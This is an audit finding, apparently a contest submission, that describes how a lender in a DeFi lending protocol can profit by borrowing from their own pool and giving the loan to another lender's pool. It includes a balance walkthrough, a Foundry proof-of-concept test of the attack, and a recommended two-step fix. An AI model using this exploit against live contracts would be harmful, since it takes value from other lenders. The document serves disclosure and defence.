Summary
Lender can borrow from his own pool. When he does that, he can give loan to other pool. Giving away the loan adds debt amount - fee to his pool balance. After withdrawing he has his initial pool balance + debt - fee. This can be profitable when tokens gained have higher value then collateral lost.
Vulnerability Details
There is no check that lender can't borrow from his pool. If there was, he could create second address. If conditions are satisfied, this malicious lender can give the loan to other pool, withdraw and end up with more loan tokens than he started with.
Lender starts with 100,000.
Wallet balance: 100,000
Pool is deployed.
Pool balance: 100,000
Wallet balance: 0
Debt: 0
Lender borrows 100.
Pool balance: 99,900
Wallet balance: 100
Debt: 100
Lender gives away the loan.
Pool balance: 99,999.5
Wallet balance: 100
Debt: 0
Lender withdraws.
Wallet balance: 100,099.5
Lender profited 99.5 tokens. When those tokens are more valuable than collateral lost in the process, he gained value.
POC
Simplified POC was created to demonstrate the flow. It can be run by code below in Lender.t.sol.
forge test --match-contract LenderTest --match-test test_stealFromOtherPool
function test_stealFromOtherPool() public {
address attacker = address(0x5);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
vm.startPrank(lender1);
Pool memory pLender = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 lenderPoolId = lender.setPool(pLender);
vm.stopPrank();
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
uint attackerLoanTokenBefore = loanToken.balanceOf(attacker);
Pool memory pAttacker = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(pAttacker);
collateralToken.approve(address(lender), 1000000*10**18);
Borrow memory b = Borrow({
poolId: attackerPoolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = lenderPoolId;
lender.giveLoan(loanIds, poolIds);
(,,,,uint256 poolBalance,,,,) = lender.pools(attackerPoolId);
lender.removeFromPool(attackerPoolId, poolBalance);
vm.stopPrank();
uint attackerLoanTokenAfter = loanToken.balanceOf(attacker);
assert(attackerLoanTokenAfter > attackerLoanTokenBefore);
}
Impact
Malicious lender can profit from other lenders by giving them his loans from his pool. Other lenders can't defend themselves against such practices.
Tools Used
Manual review
Recommendations
Add two-step transfer to giveLoan feature. First, lender sends transaction to give loan away. The receiving lender would have to send his transaction to accept this loan.